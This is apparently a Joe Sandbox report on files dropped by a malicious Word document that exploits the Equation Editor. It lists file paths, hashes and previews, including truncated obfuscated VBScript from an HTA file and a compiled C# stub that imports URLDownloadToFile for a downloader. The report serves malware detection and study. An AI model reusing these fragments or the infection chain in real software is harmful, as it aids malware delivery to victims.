SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\goodtoseeuthatgreatthingswithentirethingsgreatfor[1].hta

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	HTML document, ASCII text, with very long lines (23388), with CRLF line terminators
Category:	dropped
Size (bytes):	23556
Entropy (8bit):	1.6848932886813717
Encrypted:	false
SSDEEP:	96:C2vy2KJTuvPTTwduJZA6/3P42e2+ip2k+:TLwuv6QP5f+F3
MD5:	EC0D423A3F72D69975A1E31A275F5377
SHA1:	213922FB8456ECAADC24889AFEC1AC6EF5010C68
SHA-256:	9FD433CD543AB161D2A3CCB96A265C79EE0BB1A513647C0C33C72114660C64AC
SHA-512:	8132F567ABFD4E3489204D1F3A9FC8292457CE10495345CD0CCFA8074233411C8305C4D73078A7DEE02B086FBC22B8AD7047DD4BC127DE337D0800771EDF53AD
Malicious:	true
Preview:	<!DOCTYPE html>..<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >..<html>..<body>..<ScRipT LANGuagE="vBscRIpT">..DIm..............................................................................................................................................................................................................................................................................................................................................tzHLdKvsEcRWyQFPNHoyTeRtKqrFUgUlAoRyLWkDbyxAAzslucnYWlBayRmyLBfwwVLvflcYiZZEpfzNUcHCcwlZBMnkhugupWLqSGPRjiRWzLULwlRXTOODbDPFQNUvpSkWIiuwlAwrOtAtidmZdngahQoxtJqNCmFehSLdxChEPdkYlgmxnXjGbbfCAhnKlFqCZNLZaRvxkRURPVoeiRQJQNIGSlJCzyNdRVnAdTGK..............................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	600576
Entropy (8bit):	7.913749036393697
Encrypted:	false
SSDEEP:	12288:VrOj+Ri3AgFdZeDZskwkzA0+7xUNq4KC73vUECPnsSnR83PdB0:xQ3AgSskwZNeEqdCPssS3F
MD5:	66B03D1AFF27D81E62B53FC108806211
SHA1:	2557EC8B32D0B42CAC9CABDE199D31C5D4E40041
SHA-256:	59586E753C54629F428A6B880F6AFF09F67AF0ACE76823AF3627DDA2281532E4
SHA-512:	9F8EF3DD8C482DEBB535B1E7C9155E4AB33A04F8C4F31ADE9E70ADBD5598362033785438D5D60C536A801E134E09FCD1BC80FC7AED2D167AF7F531A81F12E43D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: goodtoseeuthatgreatthingswithentirethingsgreatfor.hta, Detection: malicious, Browse Filename: PO-000041492.docx.doc, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....:=g..............0...... .......&... ...@....@.. ....................................`..................................&..O....@..\|....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc...\|....@......................@..@.reloc.......`.......(..............@..B.................&......H........6...(...........^................................................(......}.....{....r...p .....o5....{....o7...&....0...........{......o9.....}........&.......................0..t........o.....{.....{....r...p(....o:.......+%.....{.....o....o;.....o......&....X....i2..{.....o<.......&.{....o=..............+..E..........\b......2.{....oA...n.(......}......}.....(....*....0...........{....o......3...%..;.o......{....o.....s......{.......o....,ir5..p..o......+...(...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{8F9E19BA-7C14-4A61-89D3-CF9016D92B91}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	4.993098398477818
Encrypted:	false
SSDEEP:	96:J185Cb9Fxj5KCP+3yiefC+G2IDK+bO0awb9FxRP+3yiefC+G2IDK:JSgbrxVKCPlieq+G1OybrxRPlieq+G
MD5:	30EEC76BECE2FDDD111476A1ECC35C26
SHA1:	1EDD2EDC841C3BBCDF65F063F2CB4D8C9D22D565
SHA-256:	1160D0EAE2012793EDA2B8EBC91061314DB25529B1E324268D1B2072EBA1AF88
SHA-512:	0304E597CB8F0E7DCCF84E68D2DF209A1A924C467B9FEE16100DEFCC534294872B5E5D5ACCC722C218D79DA485403B54168ADEFFE0EBCE3E45932B593FD88EEE
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{58CAB548-6A4A-4B2C-A9AB-CA9B4D0E64E5}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9F4C8620-6ACA-4E78-B7C6-E0150A7B3E99}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	3.5282593043027797
Encrypted:	false
SSDEEP:	192:hOQ+tBZwG42b+pn0wke6hfXsWhAGLbOho20cB2uzM5Qsr8nWWLJKdQUcTCXw7N4+:0QafJv+pncfXsWhAG+0cBHkSWWdUcTTz
MD5:	7844482DE837B7A77771E3C42A771683
SHA1:	56E93764B342C84FAD56039FCF687003E5A95E3C
SHA-256:	C23EBFBFEB0D7793E6DC212083F96A5C1E5AC20FA2BC060E2EA4C4C2D72D0ADC
SHA-512:	3A9DBDC07D516CD234B3F7882AC4192326CB805EFBAF82E68A6C6AC2B29E07A5625704B1A1487B0474CF24152518DE489C7A410BCD07C8FAC01297B33E377E84
Malicious:	false
Preview:	........4.2.0.3.9.5.9.2.9.5.9.8._.&.=.).@.?.=.7.(.@.0.6.?.3.%.%.'.(.?.?.-.'.>.`.1.<...$.0.'.8.\|.`._.[...?.0.].%._...:.@.&.^.8.....1...\|.....4.3.?.>._.9.6.?.=.?.!...%.=.#.?.%.~./.;.!.+.(.,.#.^.%.`.$.!.!.?.0.?.!.].%.<.0.-.0.0.>.).!...4.3.\|.?.6.$...?.:.$.#.[.$...>.9.:.^.^.&.$....<./.5.~.-.(.,.].:.^..3.<.;.;.7.!.+.5./.^...?.;.$.-.<.(...3...=.7.1.[.?.?...8.6.+.0.6.;.$.'.8.4.5..?.<.(.?.6.@.`.!._.7.?.,.@.;.-.@.&.-.3.%._.&.-.9.&.$.%.0._.%.!.:.?.'.?.[.`.:.?.9.&./.?.&.?.1.`...3...?.'.7.%.?.8.=._.`.7.0.).4.?.-.6.[.0.$.5.`.`...\|.\|.%.~.+.$.2...6.(.)./.0.=...1.0...9.....?.#.8.6.<.?.%.7.._.>.:.1.?.?._./.2.~.4.).+...5.(.%.^.#.1.4.9.:...^.=.7.+.&.'.`...4.?./.1.1.?._.+.0.=.%.`.+.~.:.?....'.[.?.%.^.#.?.4.=.,.,._.`.\|.?...?...$.6.#..%.>.&.>.;.).+.4.?.9.?.0.?.~.&.-.`.'.?.?.8.).8.%...<.'.=...#.9.#.3.-.'.5.:..$.%.%.[.6..[.:.1.#.#.....@.=.&...3.&.=...5.`.5...?.?.8./.-.8.&.[.^.?.=.?...\|.^./.?.&.~.(.]./.#.<.~...9.[.8.?...?.4.].+.%.@.@.%...2.-...6.4.>...<...1.>.`.(.7.0.?.\|.8.`.$.?.1.,.~.[.^.8.?.0.).?.=.;.

C:\Users\user\AppData\Local\Temp\2foo5dbr.x1a.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (361)
Category:	dropped
Size (bytes):	480
Entropy (8bit):	3.827531183529261
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuwAH0kHMelQXReKJ8SRHy4HjvWbuMC5NjN6qQy:V/DTLDfuwaKXfH/WCpiy
MD5:	B0517586F4097114E790C61F2685F0D5
SHA1:	20F7482298AB96731228EBD5242CEDDFD72FF50F
SHA-256:	A738E3AF6F29EDD637630B0299F306056042EA1C73850EEE95498499F5D90237
SHA-512:	C28702017CE7FE0D34BEA38CEF48DF3BB65C63D92DDDD6F8264F7262F7AE61B8D71BCD6FEC06D0792373D15BA84FB2A1D0C26B0FE5755BC20505A9197D654BA0
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace LYPhpfZVh.{. public class PKJmdq. {. [DllImport("uRLMoN.Dll", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr LODMlIYFHF,string eO,string Lrd,uint kCMv,IntPtr sKwhSUgFd);.. }..}.

C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.273472852091011
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fMWx0zxs7+AEszIP23fMWQWHn:p37Lvkmb6KzUWx0WZEoUWQAn
MD5:	FF512205CB8AFE3E1A3DAEA9D2124A71
SHA1:	DA8BCBBEA0F55ECC4A06E364C22D1278D2CF4548
SHA-256:	381AF373BDC585989B4EA3094D57F2D8CBD83512721FECAC9E64E6F0966FAB4D
SHA-512:	7AC0D788791079463AA0529912F39E82440C2E8411C4B93437D6B6810802C906A8E23C3123C2E5E19C0DB4637229C70B4B1B4C12B1E8385C31833BE9BA583C70
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.0.cs"

C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.8507880809883632
Encrypted:	false
SSDEEP:	24:etGSVPBe5ekrl88NRck5wpjwujf/UoItkZfdI/tjbCZ0WI+ycuZhNjakS1PNnq:6Oskr+Wqlf8o/JdStbCZX1ulja3vq
MD5:	BFDE5D3AE0B5E5B9B4AF6A460712C3FD
SHA1:	0F4217A769BB4ED6DA0A56691A9A32F1E2328C8F
SHA-256:	72C8FC6AFEB642BCAED76D6E38960AC285D59E9ACB018B0065DF0C6251E1316F
SHA-512:	CCD059D0DF20BC1417960E542FE01081B1BD66CEFF08CAE31E0C50C337491189999D2CD53E3A2AA8A13789A86DBD8FAD771157B5CE810E80BEA60F5716FAD0B8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....=g...........!.................#... ...@....... ....................................@.................................\#..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................8.1.....x.....x.......................................... ?.....P ......Q.........W.....b.....e.....i.....n...Q.....Q...!.Q.....Q.......!............?.......................................(..........<Module>.4v

C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (443), with CRLF, CR line terminators
Category:	modified
Size (bytes):	864
Entropy (8bit):	5.341911873285087
Encrypted:	false
SSDEEP:	24:Aqd3ka6KzUWxVEoUWQAuKaMD5DqBVKVrdFAMBJTH:Aika60XEobuKdDcVKdBJj
MD5:	426A1C829C62EB97F219A2AFD4A89384
SHA1:	39F758891B842E4DDA7579685E82096488496F8C
SHA-256:	7CBD679B23E4E843FBA49C194D2372E62AB01F70449EBC08F0B4ADB7E11B0888
SHA-512:	33EBF8EE5BB53DAB099803850591C7531D1CB16C9E4717B4ECE7488B2D39223F6485AAA32650CB2DA578DC1F242F33E6F13DCEF46E7C05DC11212B02982530DD
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\4vzopkvk\CSC2CE1E80E8DFB46C4BC398124C902BE0.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.113947070769744
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry8Gak7YnqqdXPN5Dlq5J:+RI+ycuZhNjakS1PNnqX
MD5:	8A925FA1455B46CFCD59D90334261564
SHA1:	9F94B750D66756F49DEE8D1E0D119A6AC7357FAD
SHA-256:	644BEAB2D4E59B92CBF690FFC88C2784C8AB86CAB4F3A0827D7586FB2120587A
SHA-512:	1B12B7B16C94C7670D690D98A8D8C14D733F9B610DF468F9D8CCB52130C4E9290CD2FC374510B9F94412E5CE45249D45ADE89EAA08505B49434D35EA137AF4B5
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...4.v.z.o.p.k.v.k...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...4.v.z.o.p.k.v.k...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\5dyke43n.e5i.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\5kwjctbp.ahy.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\RES4441.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x486, 9 symbols, created Wed Nov 20 10:08:06 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	3.989621233271636
Encrypted:	false
SSDEEP:	24:Hr69vrU4odH6wKPfeI+ycuZhNjakS1PNnqSud:qrlAxKPm1ulja3vqSu
MD5:	7D95280C19E87BE4C01F9F151866ACB1
SHA1:	337431760AC42F9EED007AF072D8770A22EDEAB5
SHA-256:	CB7569CAFCDFC24B7152F6DBFD7890623CC69C34D2BE8E5D555F2BDE250E2221
SHA-512:	0E19129FF53080D56BBBCBE5BA80EEE7C79BF37154CDCDA75B90604536B1587E8972A5E0CC8AD74C3706E045B774E4DC666519DCBD6179DCBD30B607976A844D
Malicious:	false
Preview:	L.....=g.............debug$S........H...................@..B.rsrc$01........X.......,...........@..@.rsrc$02........P...6...............@..@........S....c:\Users\user\AppData\Local\Temp\4vzopkvk\CSC2CE1E80E8DFB46C4BC398124C902BE0.TMP.................._.E[F..Y..4&.d..........4.......C:\Users\user\AppData\Local\Temp\RES4441.tmp.-.<....................a..Microsoft (R) CVTRES.Y.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe..............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...4.v.z.o.p.k.v.k...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.

C:\Users\user\AppData\Local\Temp\bjmeiomc.wyl.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\gn1heuiy.cqn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\myr11hhn.5yy.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\CF97F5\5879F5.exe (copy)

Download File

Process:	C:\Users\user\AppData\Roaming\wininit.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	600576
Entropy (8bit):	7.913749036393697
Encrypted:	false
SSDEEP:	12288:VrOj+Ri3AgFdZeDZskwkzA0+7xUNq4KC73vUECPnsSnR83PdB0:xQ3AgSskwZNeEqdCPssS3F
MD5:	66B03D1AFF27D81E62B53FC108806211
SHA1:	2557EC8B32D0B42CAC9CABDE199D31C5D4E40041
SHA-256:	59586E753C54629F428A6B880F6AFF09F67AF0ACE76823AF3627DDA2281532E4
SHA-512:	9F8EF3DD8C482DEBB535B1E7C9155E4AB33A04F8C4F31ADE9E70ADBD5598362033785438D5D60C536A801E134E09FCD1BC80FC7AED2D167AF7F531A81F12E43D
Malicious:	true
Joe Sandbox View:	Filename: goodtoseeuthatgreatthingswithentirethingsgreatfor.hta, Detection: malicious, Browse Filename: PO-000041492.docx.doc, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....:=g..............0...... .......&... ...@....@.. ....................................`..................................&..O....@..\|....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc...\|....@......................@..@.reloc.......`.......(..............@..B.................&......H........6...(...........^................................................(......}.....{....r...p .....o5....{....o7...&....0...........{......o9.....}........&.......................0..t........o.....{.....{....r...p(....o:.......+%.....{.....o....o;.....o......&....X....i2..{.....o<.......&.{....o=..............+..E..........\b......2.{....oA...n.(......}......}.....(....*....0...........{....o......3...%..;.o......{....o.....s......{.......o....,ir5..p..o......+...(...

C:\Users\user\AppData\Roaming\CF97F5\5879F5.lck

Download File

Process:	C:\Users\user\AppData\Roaming\wininit.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-966771315-3019405637-367336477-1006\f554348b930ff81505ce47f7c6b7d232_ea860e7a-a87f-4a88-92ef-38f744458171

Download File

Process:	C:\Users\user\AppData\Roaming\wininit.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbWwWl:sZ
MD5:	3B7B4F5326139F48EFA0AAE509E2FE58
SHA1:	209A1CE7AF7FF28CCD52AE9C8A89DEE5F2C1D57A
SHA-256:	D47B073BF489AB75A26EBF82ABA0DAB7A484F83F8200AB85EBD57BED472022FC
SHA-512:	C99D99EA71E54629815099464A233E7617E4E118DD5B2A7A32CF41141CB9815DF47B0A40D1A9F89980C307596B53DD63F76DD52CF10EE21F47C635C5F68786B5
Malicious:	false
Preview:	........................................user.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	50
Entropy (8bit):	4.371663380285987
Encrypted:	false
SSDEEP:	3:M1WM6lm4+M6lv:MgM6EM61
MD5:	CAC0A2DFD591C06B715A03572E13E7C3
SHA1:	4636C3BC29142B05FFBB2EC5770C7133F1BF7009
SHA-256:	C2EAC5C8228ABB454948D8239C63793A12E6F1D5BFB65010FD0E23EA0DCC347E
SHA-512:	5FBC9A81A9E54D25D35613307D28D86533BA2ED0EF8A1D40DB04A212772EFFC6C550B7BDEC303A7F0729B8D5A761DB6BBDDAB456E504A6646DF89B8E28D58EDF
Malicious:	false
Preview:	[doc]..stthigns.LNK=0..[folders]..stthigns.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\stthigns.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:06 2023, mtime=Fri Aug 11 15:42:06 2023, atime=Wed Nov 20 09:07:55 2024, length=257200, window=hide
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.510893388182492
Encrypted:	false
SSDEEP:	12:81tERgXg/XAlCPCHaXfBOB/BGFX+WSSPQrUJoNogicvb4u0Ps+DtZ3YilMMEpxRh:81u/XTvsbksSre58RDv3qc57u
MD5:	A63AF7A2FA4DBAFFE832F11933CE0B84
SHA1:	8D9EA6EA4301EDB62995036FC9F162860B4BFF58
SHA-256:	902049B90C141CC40666B4F5FC2443D44AE66268C1E1469B7734F2A820CE7BE1
SHA-512:	47BA5E3E272DD2D11AA1995C313ED23233CF734728034FDA68E39BD9F314FF1BCECA7B4099B8F1C078C45C07225D681F676F752C4149B6B2BDF365294C295B40
Malicious:	false
Preview:	L..................F.... ...&...r...&...r...;~S.4;...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1.....tY.P..user.8......QK.XtY.P...&=....U...............A.l.b.u.s.....z.1......WE...Desktop.d......QK.X.WE...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....b.2.....tY.P .stthigns.doc..F.......WD..WD..........................s.t.t.h.i.g.n.s...d.o.c.......v...............-...8...[............?J......C:\Users\..#...................\\468325\Users.user\Desktop\stthigns.doc.#.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.s.t.t.h.i.g.n.s...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......468325..........D_....3N...W...9..W.e8...8.....[D_....3N...W...9..W.e8...8.....[

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
